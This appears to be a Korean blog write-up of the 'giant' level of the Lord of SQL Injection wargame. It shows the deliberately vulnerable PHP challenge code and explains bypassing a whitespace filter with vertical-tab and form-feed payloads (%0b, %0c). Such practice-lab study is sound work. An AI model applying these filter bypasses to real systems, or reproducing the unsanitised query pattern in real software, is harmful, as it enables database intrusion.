모의해킹/Wargame
[Lord of SQL Injection] giant 14번 (feat. 공백 우회)
klus!
2022. 12. 21. 16:23
0.자이언트
1. 전체 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result[1234]) solve("giant");
highlight_file(__FILE__);
?>
2. 중요코드 분석
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
if($result[1234]) solve("giant");
1) strlen함수를 보면 shit의 입력값의 길이는 1보다 작아야 합니다.
2) Preg_match함수를 보면
- (공백)
- \n
- \r
- \t 을 필터링합니다.
3) query를 보면 from와 prob_giant사이에 GET [shit] 입력해주면 solve 됩니다.
3. solve
먼저, 공백 값을 입력하기 위한 문제 및 hex는 아래와 같습니다.
[공백 우회]
문자 | 16진수(Hex) | 설명 |
tab | %09 | \t 필터링되어 불가능 |
line feed | %0a | \n 필터링되어 불가능 |
vertical tab | %0b | |
form feed | %0c | |
carriage return | %0d | \r 필터링되어 불가능 |
/**/ | shit의 길이는 1보다 작아야하기 때문에 불가능 |
new line : '\n', 0x0a, 화면에 출력 시 다음 행으로 줄을 바꿉니다.
carriage return : '\r', 0x0d, 행의 처음으로 커서를 이동합니다.
form feed : '\f', 0x0c, 프린트 출력 시 현재 페이지를 마칩니다.
필터링되는 것을 제외하고는 vertical tab와 form feed 사용하여 문제를 풀어보도록 하겠습니다.
스포주의!
더보기
?shit=%0b
?shit=%0c
참고 :
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=mtjeaids&logNo=70053523593